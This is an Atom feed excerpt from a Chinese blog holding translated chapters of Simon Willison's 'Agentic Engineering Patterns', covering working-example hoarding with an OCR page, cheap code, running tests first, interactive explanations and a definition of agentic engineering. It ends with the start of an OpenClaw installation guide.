&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sizeInBytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;base64Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.75&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sizeInBytes&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;formatSize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sizeInKB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;toFixed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;sizeInKB&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; KB`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
```
这段代码展示了如何对图像运行 OCR:
```javascript
async function ocrMissingAltText() {
    // Load Tesseract
    var s = document.createElement(&amp;quot;script&amp;quot;);
    s.src = &amp;quot;https://unpkg.com/tesseract.js@v2.1.0/dist/tesseract.min.js&amp;quot;;
    document.head.appendChild(s);

    s.onload = async () =&amp;gt; {
      const images = document.getElementsByTagName(&amp;quot;img&amp;quot;);
      const worker = Tesseract.createWorker();
      await worker.load();
      await worker.loadLanguage(&amp;quot;eng&amp;quot;);
      await worker.initialize(&amp;quot;eng&amp;quot;);
      ocrButton.innerText = &amp;quot;Running OCR...&amp;quot;;

      // Iterate through all the images in the output div
      for (const img of images) {
        const altTextarea = img.parentNode.querySelector(&amp;quot;.textarea-alt&amp;quot;);
        // Check if the alt textarea is empty
        if (altTextarea.value === &amp;quot;&amp;quot;) {
          const imageUrl = img.src;
          var {
            data: { text },
          } = await worker.recognize(imageUrl);
          altTextarea.value = text; // Set the OCR result to the alt textarea
          progressBar.value += 1;
        }
      }

      await worker.terminate();
      ocrButton.innerText = &amp;quot;OCR complete&amp;quot;;
    };
  }
```
请利用这些示例，整合一个包含 HTML、CSS 和 JS 的单页面。提供一个大方框，用户可以将 PDF 文件拖放进去。操作后，将 PDF 的每一页转换为 JPEG 显示在页面上，然后使用 Tesseract 运行 OCR，并将结果显示在每个图像下方的文本框中。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;结果非常完美！模型直接吐出了一个完全符合我要求的原型页面。我只进行了几次简单的迭代就完成了最终版本。这只花了几分钟时间，却打造出了一个让我受益至今的实用工具。&lt;/p&gt;
&lt;h3&gt;编程智能体让这一模式更强大&lt;/h3&gt;
&lt;p&gt;我构建那个 OCR 示例是在 2024 年 3 月，比 Claude Code 发布早了近一年。而编程智能体的出现，让囤积运行示例的价值翻倍了。&lt;/p&gt;
&lt;p&gt;如果你的编程智能体可以访问网络，你可以告诉它&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;使用&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n n-Quoted"&gt;`curl`&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;获取&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n n-Quoted"&gt;`https://tools.simonwillison.net/ocr`&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;和&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n n-Quoted"&gt;`https://tools.simonwillison.net/gemini-bbox`&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;的源码，构建一个新工具，让我能选择&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;的一页并传给&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Gemini，返回该页插图的检测框。”&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;（这里指定 &lt;code&gt;curl&lt;/code&gt; 是因为 Claude Code 默认会总结页面，而我们需要原始 HTML。）&lt;/p&gt;
&lt;p&gt;编程智能体也非常擅长搜索，这意味着你可以在本地运行它们，并告诉它们去哪里找示例：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;参考 `~/dev/ecosystem/llm-mistral` 的实现方式，为 `~/dev/ecosystem/datasette-oauth` 项目添加模拟 HTTP 请求的测试。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;通常这就足够了——智能体会启动一个搜索子智能体去调研，并提取完成任务所需的细节。&lt;/p&gt;
&lt;p&gt;由于我的研究代码大多是公开的，我经常让智能体将仓库克隆到 &lt;code&gt;/tmp&lt;/code&gt; 目录作为输入：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;从 GitHub 克隆 `simonw/research` 到 `/tmp`，找到将 Rust 编译为 WebAssembly 的示例，并以此为本项目构建一个演示 HTML 页面。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;核心理念在于：有了编程智能体，&lt;strong&gt;任何有用的技巧我们都只需要解决一次。&lt;/strong&gt; 只要这个技巧被记录在某处并配有可运行的代码示例，我们的智能体就能在未来查阅它，并用它来解决任何类似的问题&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文：&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/"&gt;Agentic Engineering Patterns&lt;/a&gt; by Simon Willison&lt;/em&gt;&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>02-编写代码现在很廉价</title><link href="https://foofish.net/code-is-cheap.html" rel="alternate"/><published>2026-03-21T10:12:02+08:00</published><updated>2026-03-21T10:12:02+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/code-is-cheap.html</id><summary type="html">&lt;p&gt;在采纳“智能体化工程实践”（Agentic Engineering Practices）的过程中，最大的挑战在于：我们必须学会接受一个事实——&lt;strong&gt;编写代码现在已经变得非常廉 …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;在采纳“智能体化工程实践”（Agentic Engineering Practices）的过程中，最大的挑战在于：我们必须学会接受一个事实——&lt;strong&gt;编写代码现在已经变得非常廉价。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;长期以来，代码一直都是昂贵的资产。对于大多数软件开发人员来说，产出几百行干净、经过测试的代码通常需要一整天甚至更久。我们不论是在宏观还是微观层面的许多工程习惯，都是围绕这一核心约束而建立的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在宏观层面：&lt;/strong&gt; 我们投入大量时间进行设计、估算和项目规划，以确保昂贵的开发时间能被最有效地利用。产品功能的优先级评估，本质上是在衡量其产出价值是否值得投入相应的开发时间——一个功能必须能赚回其开发成本的数倍，才会被认为是值得做的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在微观层面：&lt;/strong&gt; 我们每天都会基于可用时间和预期的折衷方案做出数百个决策。如果重构某个函数使其更优雅需要多花一个小时，我该做吗？文档要写吗？为这个边缘案例增加测试值得吗？我有理由为这个功能开发一个调试接口吗？&lt;/p&gt;
&lt;p&gt;编程智能体（Coding Agents）极大地降低了向计算机输入代码的成本。这颠覆了我们个人和组织对于“权衡取舍”的既有直觉。&lt;/p&gt;
&lt;p&gt;随着并行运行多个智能体成为可能，评估成本变得更加困难。因为一名人类工程师现在可以同时在多个地方让智能体并行地实现功能、重构代码、编写测试和文档。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;“好代码”依然是有成本的&lt;/h3&gt;
&lt;p&gt;交付代码的成本已降至近乎免费，但交付&lt;strong&gt;“好代码”&lt;/strong&gt;的成本依然显著。&lt;/p&gt;
&lt;p&gt;我所定义的“好代码”包含以下特质：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;代码确实可用：&lt;/strong&gt; 它能完成预定任务，且没有 Bug。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;我们“确信”代码可用：&lt;/strong&gt; 我们已采取步骤向自己和他人证明，该代码符合使用目的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;解决了正确的问题。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;优雅且可预测地处理错误：&lt;/strong&gt; 它不只考虑“理想路径”（Happy Path）。错误信息应提供足够的上下文，帮助未来的维护者理解发生了什么。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;简单且精简：&lt;/strong&gt; 只做必要的事，且方式易于被人类和机器理解，并方便未来维护。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;受测试保护：&lt;/strong&gt; 测试证明了它现在能运行，并作为回归测试套件，防止未来在无感知的情况下损坏。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;有适当的文档：&lt;/strong&gt; 文档反映了系统的当前状态——如果代码更改了既有行为，对应的文档也必须同步更新。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;设计兼顾未来的灵活性：&lt;/strong&gt; 保持 &lt;strong&gt;YAGNI&lt;/strong&gt;（你不会需要它）原则很重要——为了预测未来可能永远不会发生的改变而增加复杂度，通常是坏代码；但同样重要的是，不要写出让未来改动变得举步维艰的代码。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;其他相关的“特性”（-ilities）：&lt;/strong&gt; 即可访问性、可测试性、可靠性、安全性、可维护性、可观测性、可扩展性、易用性——这些适用于特定软件类型的非功能性质量指标。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;编程智能体工具可以辅助完成上述大部分工作，但作为驱动这些工具的开发者，依然承担着沉重的责任：你需要确保产出的代码在当前项目所需的维度上是“好代码”。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;我们需要建立新的习惯&lt;/h3&gt;
&lt;p&gt;现在的挑战在于，我们需要建立全新的个人和组织习惯，以应对智能体化工程所带来的便利和机遇。&lt;/p&gt;
&lt;p&gt;这些最佳实践在整个行业内仍处于摸索阶段，我也在摸索之中。&lt;/p&gt;
&lt;h2&gt;目前我认为最好的做法是&lt;strong&gt;学会质疑自己的直觉&lt;/strong&gt;：每当你的本能反应是“别做那个，不值得花时间”时，请试着发一个 Prompt 给异步运行的智能体。最坏的情况也不过是你在十分钟后检查时，发现这几分钱的 Token 花得不值而已。&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;原文：&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/"&gt;Agentic Engineering Patterns&lt;/a&gt; by Simon Willison&lt;/em&gt;&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>09-测试先行</title><link href="https://foofish.net/first-run-the-tests.html" rel="alternate"/><published>2026-03-21T10:12:01+08:00</published><updated>2026-03-21T10:12:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/first-run-the-tests.html</id><summary type="html">&lt;p&gt;在与编程智能体协作时，自动化测试不再是可选的。&lt;/p&gt;
&lt;p&gt;以前不写测试的那些借口——比如编写测试太耗时，或者在代码库快速演 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;在与编程智能体协作时，自动化测试不再是可选的。&lt;/p&gt;
&lt;p&gt;以前不写测试的那些借口——比如编写测试太耗时，或者在代码库快速演进时不断重写测试成本太高——在智能体只需几分钟就能把它们处理好的今天，已经不再成立了。&lt;/p&gt;
&lt;p&gt;测试对于确保 AI 生成的代码“名副其实”也至关重要。如果代码从未被执行过，那么它在部署到生产环境时是否能正常工作，就全凭运气了。&lt;/p&gt;
&lt;p&gt;测试还是帮助智能体快速熟悉现有代码库的绝佳工具。观察一下当你询问 Claude Code 或类似工具关于现有功能的情况时会发生什么——它们极大概率会找到并阅读相关的测试代码。&lt;/p&gt;
&lt;p&gt;智能体本身就带有测试偏好，但现有测试套件的存在，几乎肯定会促使智能体对其所做的每一项新更改进行测试。&lt;/p&gt;
&lt;p&gt;每当我针对现有项目与智能体开启新会话时，我都会先输入类似下面的提示词：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;先运行测试 (First run the tests)&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;对于我的 Python 项目，我配置了 &lt;code&gt;pyproject.toml&lt;/code&gt;，所以我可以改用这个提示词：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;运行 "uv run pytest"&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这几个词的提示词有以下几个目的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;明确测试套件的存在&lt;/strong&gt;：它告诉智能体这里有一套测试，并强迫它弄清楚如何运行这些测试。这几乎可以确保智能体在未来为了确保没有破坏任何功能而主动运行测试。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;提供项目概况&lt;/strong&gt;：大多数测试框架都会向智能体显示测试的大致数量。这可以作为项目规模和复杂度的参考指标，同时也暗示智能体如果想深入了解项目，可以去搜索测试用例本身。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;建立测试思维&lt;/strong&gt;：运行过测试后，智能体在随后自然而然地会用它自己的测试来扩展现有的套件。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;与“使用红/绿 TDD”类似，“先运行测试”这几个字就涵盖了模型中预先内置的大量软件工程规范。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文：&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/"&gt;Agentic Engineering Patterns&lt;/a&gt; by Simon Willison&lt;/em&gt;&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>12-交互式解释</title><link href="https://foofish.net/interactive-explanations.html" rel="alternate"/><published>2026-03-21T10:12:01+08:00</published><updated>2026-03-21T10:12:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/interactive-explanations.html</id><summary type="html">&lt;h2&gt;指南 &amp;gt; 智能体工程模式&lt;/h2&gt;
&lt;h3&gt;交互式讲解 (Interactive Explanations)&lt;/h3&gt;
&lt;p&gt;当我们不再理解智能体所写代码的工作原理时，我们就在承担&lt;strong&gt;认知负债&lt;/strong&gt;（Cognitive Debt）。&lt;/p&gt;
&lt;p&gt;在很 …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;指南 &amp;gt; 智能体工程模式&lt;/h2&gt;
&lt;h3&gt;交互式讲解 (Interactive Explanations)&lt;/h3&gt;
&lt;p&gt;当我们不再理解智能体所写代码的工作原理时，我们就在承担&lt;strong&gt;认知负债&lt;/strong&gt;（Cognitive Debt）。&lt;/p&gt;
&lt;p&gt;在很多情况下这并不重要：如果代码只是从数据库获取数据并以 JSON 格式输出，其实现细节通常简单到无需关注。我们可以通过试用新功能来对它的工作原理做出可靠推断，然后扫一眼代码确认即可。&lt;/p&gt;
&lt;p&gt;但通常情况下，细节确实至关重要。如果应用程序的核心变成了一个我们无法完全理解的“黑盒”，我们就无法再对其进行自信的逻辑推理，这会让规划新功能变得更加困难，并最终像累积的&lt;strong&gt;技术债&lt;/strong&gt;一样拖慢我们的进度。&lt;/p&gt;
&lt;p&gt;我们该如何偿还认知负债？通过提高对代码工作原理的理解。&lt;/p&gt;
&lt;p&gt;我最喜欢的方法之一就是构建&lt;strong&gt;交互式讲解&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;理解词云图&lt;/h3&gt;
&lt;p&gt;在《一位 AI 智能体编程怀疑论者对 AI 智能体编程的深度评测》中，Max Woolf 提到他曾用这样一个提示词测试 LLM 的 Rust 能力：“创建一个 Rust 应用，能够根据长文本输入生成‘词云’数据可视化图。”&lt;/p&gt;
&lt;p&gt;这激发了我的想象力：我一直想知道词云到底是怎么工作的，于是我启动了一个&lt;strong&gt;异步研究项目&lt;/strong&gt;（&lt;a href="https://example.com/"&gt;初始提示词在此&lt;/a&gt;，&lt;a href="https://example.com/"&gt;代码和报告在此&lt;/a&gt;）来探索这个想法。&lt;/p&gt;
&lt;p&gt;效果非常好：网页版 Claude Code 为我构建了一个 Rust CLI 工具，可以生成如下图像：&lt;/p&gt;
&lt;p&gt;&lt;img alt="wordcloud1.png" src="../../../images/wordcloud1.png"&gt;&lt;/p&gt;
&lt;p&gt;但它到底是怎么运作的呢？&lt;/p&gt;
&lt;p&gt;Claude 的报告称它使用了“&lt;strong&gt;阿基米德螺旋线定位&lt;/strong&gt;，并结合每个单词的随机角度偏移，以实现自然美观的布局”。这对我并没太大帮助！&lt;/p&gt;
&lt;p&gt;我要求对代码库进行&lt;strong&gt;线性讲解&lt;/strong&gt;，这帮我更详细地理解了 Rust 代码（&lt;a href="https://example.com/"&gt;这是讲解内容&lt;/a&gt;和&lt;a href="https://example.com/"&gt;提示词&lt;/a&gt;）。这虽然让我理解了 Rust 代码的结构，但我对那个“阿基米德螺旋线定位”部分到底怎么运作的仍然缺乏直观的认识。&lt;/p&gt;
&lt;p&gt;于是，我要求做一个&lt;strong&gt;动画讲解&lt;/strong&gt;。我在 Claude Code 会话中粘贴了现有的 &lt;code&gt;walkthrough.md&lt;/code&gt; 文档链接，并输入了以下内容：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;使用 &lt;code&gt;curl&lt;/code&gt; 将 &lt;code&gt;https://raw.githubusercontent.com/.../walkthrough.md&lt;/code&gt; 获取到 &lt;code&gt;/tmp&lt;/code&gt; 目录，以便你可以完整阅读它。&lt;/p&gt;
&lt;p&gt;受此启发，构建一个 &lt;code&gt;animated-word-cloud.html&lt;/code&gt; 页面：该页面接受粘贴的文本（并将其持久化在 URL 的 &lt;code&gt;#fragment&lt;/code&gt; 中，以便带 &lt;code&gt;#&lt;/code&gt; 加载的页面能直接使用该文本并自动提交）。提交文本后，页面将按照文档中描述的算法构建词云，但要以&lt;strong&gt;动画形式&lt;/strong&gt;展示，使算法尽可能清晰易懂。为动画添加一个滑块，可以暂停、调节速度，甚至在暂停时逐帧步进。在任何阶段，可见的生成中词云都可以下载为 PNG。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你可以在&lt;a href="https://example.com/"&gt;这里体验结果&lt;/a&gt;。这是一个动画 GIF 演示：&lt;/p&gt;
&lt;p&gt;&lt;img alt="animated-word-cloud-demo.gif" src="../../../images/animated-word-cloud-demo.gif"&gt;&lt;/p&gt;
&lt;p&gt;当时使用的是 Claude Opus 4.6，事实证明它在构建解释性动画方面非常有品味。&lt;/p&gt;
&lt;p&gt;如果你仔细观察动画，你会发现对于每个单词，它都会显示一个方框尝试将其放置在页面某处，并检查该方框是否与已有单词重叠。如果重叠，它会继续寻找合适的位置，从中心开始沿螺旋线向外移动。&lt;/p&gt;
&lt;p&gt;我发现这个动画真的让我对该算法的运作方式有了“顿悟”般的感觉。&lt;/p&gt;
&lt;p&gt;我长期以来一直是动画和交互式界面的粉丝，认为它们能很好地解释不同概念。一个优秀的编程智能体可以按需生成这些内容，帮助解释代码——无论是它自己写的代码，还是别人写的代码。&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>01-什么是智能体工程？</title><link href="https://foofish.net/what-is-agentic-engineering.html" rel="alternate"/><published>2026-03-21T10:12:01+08:00</published><updated>2026-03-21T10:12:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/what-is-agentic-engineering.html</id><summary type="html">&lt;blockquote&gt;
&lt;p&gt;本系列文章翻译自Django作者的"智能体工程"（agentic engineering），由LLM粗略翻译了第一遍，经过人工校对。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;什么是智能体化工程？&lt;/h3&gt;
&lt;p&gt;我使用“&lt;strong&gt;智能体化工程&lt;/strong&gt;（Agentic Engineering）”一词，来描述在 …&lt;/p&gt;</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;本系列文章翻译自Django作者的"智能体工程"（agentic engineering），由LLM粗略翻译了第一遍，经过人工校对。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;什么是智能体化工程？&lt;/h3&gt;
&lt;p&gt;我使用“&lt;strong&gt;智能体化工程&lt;/strong&gt;（Agentic Engineering）”一词，来描述在&lt;strong&gt;编程智能体&lt;/strong&gt;（Coding Agents）辅助下开发软件的实践。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是编程智能体？&lt;/strong&gt; 它们是既能编写代码又能执行代码的智能体。常见的例子包括 Claude Code、OpenAI Codex 和 Gemini CLI。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是“智能体（Agent）”？&lt;/strong&gt; 准确定义这个词是一个困扰了 AI 研究者至少 30 年（自 20 世纪 90 年代起）的难题。但在 GPT-5、Gemini 和 Claude 等大语言模型（LLM）领域，我倾向于接受这样一个定义：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;智能体通过循环运行工具来实现目标。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;“智能体”本质上是一个软件，它带着你的提示词（Prompt）和一组工具定义去调用 LLM，然后执行 LLM 请求的任何工具，并将结果反馈给 LLM。&lt;/p&gt;
&lt;p&gt;对于&lt;strong&gt;编程智能体&lt;/strong&gt;来说，这些工具中必然包含一个&lt;strong&gt;能够执行代码&lt;/strong&gt;的工具。&lt;/p&gt;
&lt;p&gt;你通过提示词为编程智能体设定一个目标。随后，智能体会在循环中不断生成并执行代码，直到达成该目标。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码执行能力&lt;/strong&gt;是让智能体化工程成为可能的决定性特征。如果无法直接运行代码，LLM 输出的任何内容价值都非常有限。有了代码执行能力，这些智能体就能通过不断迭代，最终交付切实可行的软件。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;智能体化工程的任务分配&lt;/h3&gt;
&lt;p&gt;既然现在软件已经能写出可以运行的代码了，那我们人类还需要做什么呢？&lt;/p&gt;
&lt;p&gt;答案是：&lt;strong&gt;要做的事情太多了。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;编写代码从来都不是软件工程师唯一的活动。这门手艺的核心一直是搞清楚&lt;strong&gt;该写什么代码&lt;/strong&gt;。任何给定的软件问题都有数十种潜在解决方案，每种方案都有其权衡（Trade-offs）。我们的工作是引导这些选项，并找到最适合当前特定环境和需求的方案。&lt;/p&gt;
&lt;p&gt;如何让编程智能体发挥出最佳效果，本身就是一个深奥的课题，尤其是在目前技术以惊人速度演进的背景下。&lt;/p&gt;
&lt;p&gt;我们需要为编程智能体提供解决问题所需的工具，以恰当的详略程度描述问题，并对结果进行验证和迭代，直到我们确信它们以稳健且可靠的方式解决了问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LLM 本身不会从过去的错误中学习，但编程智能体可以&lt;/strong&gt;——前提是我们有意识地更新指令和工具链，将我们在过程中学到的经验教训固化下来。&lt;/p&gt;
&lt;p&gt;如果运用得当，编程智能体能让我们在承接项目时更有野心。智能体化工程应当帮助我们产出更多、质量更高、且能解决更具影响力问题的代码。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;这难道不就是“氛围编程”吗？&lt;/h3&gt;
&lt;p&gt;“&lt;strong&gt;氛围编程&lt;/strong&gt;（Vibe Coding）”一词由 Andrej Karpathy 在 2025 年 2 月提出（巧合的是，这正好在 Claude Code 发布前三周）。它描述的是一种给 LLM 发指令写代码，同时“忘掉代码本身存在”的状态。&lt;/p&gt;
&lt;p&gt;有些人将这个定义扩大到了所有使用 LLM 生成代码的场景，但我认为这是一个误区。“氛围编程”在其原始定义下更有参考价值——我们需要一个专门的词来描述那些&lt;strong&gt;未经审查、原型质量&lt;/strong&gt;的 LLM 生成代码，以便将其与作者已提升至&lt;strong&gt;生产就绪标准&lt;/strong&gt;的代码区分开来。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;关于本指南&lt;/h3&gt;
&lt;p&gt;正如它所涵盖的领域一样，《智能体化工程模式》本身也正处于“施工中”状态。我的目标是识别并描述那些已被证明行之有效、且不太可能随着工具进步而过时的模式。&lt;/p&gt;
&lt;p&gt;随着新技术涌现，我会持续增加章节。没有任何章节是“终稿”，我会随着我们对这些模式理解的演进而不断更新既有内容。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文：&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/"&gt;Agentic Engineering Patterns&lt;/a&gt; by Simon Willison&lt;/em&gt;&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>OpenClaw 本地安装完全指南，并打通Telegram</title><link href="https://foofish.net/openclaw-install-with-telegram.html" rel="alternate"/><published>2026-02-26T16:09:01+08:00</published><updated>2026-02-26T16:09:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-02-26:/openclaw-install-with-telegram.html</id><summary type="html">&lt;blockquote&gt;
&lt;p&gt;OpenClaw 是最近 AI 圈讨论度极高的开源项目，没有之一。它让你在自己的电脑上运行一个永不下线的 AI 助手，能收发消息、管理文 …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;OpenClaw 是最近 AI 圈讨论度极高的开源项目，没有之一。它让你在自己的电脑上运行一个永不下线的 AI 助手，能收发消息、管理文件、执行命令，甚至替你刷邮件、管日历、写公众号等等。本文带你从零完成本地安装。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;认识 OpenClaw：它不只是一个聊天机器人&lt;/h2&gt;
&lt;p&gt;OpenClaw（前身是 Clawdbot / Moltbot）是一个&lt;strong&gt;自托管的 AI AGENT&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;和 ChatGPT 这类工具不同，它不只是"回答问题"——它会真的去&lt;strong&gt;执行操作&lt;/strong&gt;：打开终端跑命令、读写文件、调用 API、向你的 WhatsApp / Telegram / 飞书主动发消息。&lt;/p&gt;
&lt;p&gt;它的架构分为两层：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Brain（大脑）&lt;/strong&gt;：负责推理、调用 LLM API、编排任务&lt;/li&gt;
